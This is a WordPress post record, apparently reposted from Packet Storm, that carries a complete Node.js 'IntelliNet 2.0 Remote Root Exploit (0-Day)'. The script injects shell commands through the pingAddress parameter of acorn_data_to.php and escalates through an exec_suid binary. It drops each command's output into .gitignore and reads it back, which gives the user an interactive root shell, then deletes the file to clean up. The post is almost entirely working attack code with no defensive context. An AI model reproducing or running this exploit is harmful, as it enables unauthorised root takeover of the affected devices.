{"id":59388,"date":"2024-09-02T20:20:54","date_gmt":"2024-09-02T17:20:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181241\/intellinet20-exec.txt"},"modified":"2024-09-02T20:20:54","modified_gmt":"2024-09-02T17:20:54","slug":"intellinet-2-0-remote-root","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/intellinet-2-0-remote-root\/","title":{"rendered":"IntelliNet 2.0 Remote Root"},"content":{"rendered":"

#!\/usr\/local\/bin\/node
const { execSync } = require(‘child_process’);
const readline = require(‘readline’);<\/p>\n

let TARGET = ”;
let COMMAND = ”;
let SESSION = ”;<\/p>\n

const ESCALATE = ‘\/usr\/aes\/bin\/exec_suid’;<\/p>\n

console.log(`
\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800
\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28a0\u28fe\u2844\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800
\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28fc\u28ff\u28e7\u28f6\u28f6\u28f6\u28e6\u28e4\u28c0\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800
\u2800\u2800\u2800\u2800\u2800\u2800\u28e0\u28fe\u28bf\u28ff\u28ff\u28ff\u28cf\u2809\u2809\u281b\u281b\u283f\u28f7\u28d5\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800
\u2800\u2800\u2800\u2800\u28e0\u28fe\u289d\u2804\u2880\u28ff\u287f\u283b\u28ff\u28c4\u2800\u2800\u2800\u2800\u2808\u28bf\u28e7\u2840\u28c0\u28e4\u287e\u2800\u2800\u2800
\u2800\u2800\u2800\u28b0\u28ff\u2861\u2801\u2800\u2800\u28ff\u2847\u2800\u2838\u28ff\u28fe\u2846\u2800\u2800\u28c0\u28e4\u28ff\u28ff\u280b\u2801\u2800\u2800\u2800\u2800
\u2800\u2800\u2880\u28f7\u28ff\u2803\u2800\u2800\u28b8\u28ff\u2847\u2800\u2800\u2839\u28ff\u28f7\u28f4\u287e\u281f\u2809\u2838\u28ff\u2847\u2800\u2800\u2800\u2800\u2800
\u2800\u2800\u28b8\u28ff\u2817\u2840\u2800\u2800\u28b8\u28ff\u2803\u28e0\u28f6\u28ff\u283f\u28bf\u28ff\u2840\u2800\u2800\u2880\u28ff\u2847\u2800\u2800\u2800\u2800\u2800
\u2800\u2800\u2818\u287f\u2844\u28c7\u2800\u28c0\u28fe\u28ff\u287f\u281f\u280b\u2801\u2800\u2808\u28bb\u28f7\u28c6\u2844\u28b8\u28ff\u2847\u2800\u2800\u2800\u2800\u2800
\u2800\u2800\u2800\u28bb\u28f7\u28ff\u28ff\u283f\u28ff\u28e7\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u283b\u28ff\u28f7\u28ff\u285f\u2800\u2800\u2800\u2800\u2800\u2800
\u2880\u28f0\u28fe\u28ff\u283f\u28ff\u28ff\u28fe\u28ff\u2807\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28fc\u28ff\u28ff\u28c5\u2800\u2800\u2800\u2800\u2800\u2800
\u2800\u2830\u280a\u2801\u2800\u2819\u282a\u28ff\u28ff\u28f6\u28e4\u28c4\u28c0\u28c0\u28c0\u28e4\u28f6\u28ff\u281f\u280b\u2819\u28bf\u28f7\u2844\u2800\u2800\u2800\u2800
\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28ff\u285f\u283a\u282d\u282d\u283f\u283f\u283f\u281f\u280b\u2801\u2800\u2800\u2800\u2800\u2819\u280f\u28e6\u2800\u2800\u2800
\u2800\u2800\u2800\u2800\u2800\u2800\u28b8\u285f\u2803\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800
\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800<\/p>\n

\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557
\u2551 IntelliNet 2.0 Remote Root Exploit (0-Day) \u2551
\u2551 Author: Jean Pereira <info@cytres.com> \u2551
\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d<\/p>\n

`);<\/p>\n

const cleanUp = () => {
execSync(
`curl -sL “http:\/\/${TARGET}\/acorn_data_to.php?cmd=ping-tool&pingAddress=127.0.0.1;rm%20.gitignore;”`
);
};<\/p>\n

const createShell = (cmd) => {
execSync(
`curl -sL “http:\/\/${TARGET}\/acorn_data_to.php?cmd=ping-tool&pingAddress=127.0.0.1;${encodeURIComponent(
[ESCALATE, cmd].join(‘ ‘)
)}%20%3E%20.gitignore;”`
);
return execSync(`curl -sL “http:\/\/${TARGET}\/.gitignore”`).toString().trim();
};<\/p>\n

const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});<\/p>\n

const interactiveShell = () => {
rl.question(`root@${SESSION.slice(8)}:~# `, (currentCommand) => {
if (currentCommand.trim() === ‘!q’) {
console.log(‘Cleaning up…’);
cleanUp();
rl.close();
} else {
COMMAND = currentCommand;
let output = createShell(COMMAND);
console.log(output);
interactiveShell();
}
});
};<\/p>\n

rl.question(‘[*] Enter target IP: ‘, (targetIP) => {
TARGET = targetIP;
SESSION = createShell(‘echo a1b2c3d4$HOSTNAME’);
if (!SESSION.startsWith(‘a1b2c3d4’)) {
console.log(‘[*] Could not execute payload, aborting’);
process.exit(0);
} else {
console.log(‘[*] Payload injected to firmware’);
console.log(‘[*] Launching root shell via exec_suid’);
}
console.log(”);
interactiveShell();
});<\/p>\n

rl.on(‘close’, () => {
process.exit(0);
});<\/p>\n","protected":false},"excerpt":{"rendered":"

#!\/usr\/local\/bin\/nodeconst { execSync } = require(‘child_process’);const readline = require(‘readline’); let TARGET = ”;let COMMAND = ”;let SESSION = ”; const ESCALATE = ‘\/usr\/aes\/bin\/exec_suid’; console.log(`\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28a0\u28fe\u2844\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28fc\u28ff\u28e7\u28f6\u28f6\u28f6\u28e6\u28e4\u28c0\u2840\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28e0\u28fe\u28bf\u28ff\u28ff\u28ff\u28cf\u2809\u2809\u281b\u281b\u283f\u28f7\u28d5\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28e0\u28fe\u289d\u2804\u2880\u28ff\u287f\u283b\u28ff\u28c4\u2800\u2800\u2800\u2800\u2808\u28bf\u28e7\u2840\u28c0\u28e4\u287e\u2800\u2800\u2800\u2800\u2800\u2800\u28b0\u28ff\u2861\u2801\u2800\u2800\u28ff\u2847\u2800\u2838\u28ff\u28fe\u2846\u2800\u2800\u28c0\u28e4\u28ff\u28ff\u280b\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28f7\u28ff\u2803\u2800\u2800\u28b8\u28ff\u2847\u2800\u2800\u2839\u28ff\u28f7\u28f4\u287e\u281f\u2809\u2838\u28ff\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b8\u28ff\u2817\u2840\u2800\u2800\u28b8\u28ff\u2803\u28e0\u28f6\u28ff\u283f\u28bf\u28ff\u2840\u2800\u2800\u2880\u28ff\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2818\u287f\u2844\u28c7\u2800\u28c0\u28fe\u28ff\u287f\u281f\u280b\u2801\u2800\u2808\u28bb\u28f7\u28c6\u2844\u28b8\u28ff\u2847\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28bb\u28f7\u28ff\u28ff\u283f\u28ff\u28e7\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u283b\u28ff\u28f7\u28ff\u285f\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28f0\u28fe\u28ff\u283f\u28ff\u28ff\u28fe\u28ff\u2807\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28fc\u28ff\u28ff\u28c5\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2830\u280a\u2801\u2800\u2819\u282a\u28ff\u28ff\u28f6\u28e4\u28c4\u28c0\u28c0\u28c0\u28e4\u28f6\u28ff\u281f\u280b\u2819\u28bf\u28f7\u2844\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2880\u28ff\u285f\u283a\u282d\u282d\u283f\u283f\u283f\u281f\u280b\u2801\u2800\u2800\u2800\u2800\u2819\u280f\u28e6\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u28b8\u285f\u2803\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2801\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800 \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\u2551 IntelliNet 2.0 Remote Root Exploit (0-Day) \u2551\u2551 Author: Jean Pereira <info@cytres.com> \u2551\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d `); const cleanUp = () => {execSync(`curl -sL “http:\/\/${TARGET}\/acorn_data_to.php?cmd=ping-tool&pingAddress=127.0.0.1;rm%20.gitignore;”`);}; const createShell = (cmd) => {execSync(`curl -sL “http:\/\/${TARGET}\/acorn_data_to.php?cmd=ping-tool&pingAddress=127.0.0.1;${encodeURIComponent([ESCALATE, cmd].join(‘ …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59388","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59388","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59388"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59388\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59388"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59388"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59388"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}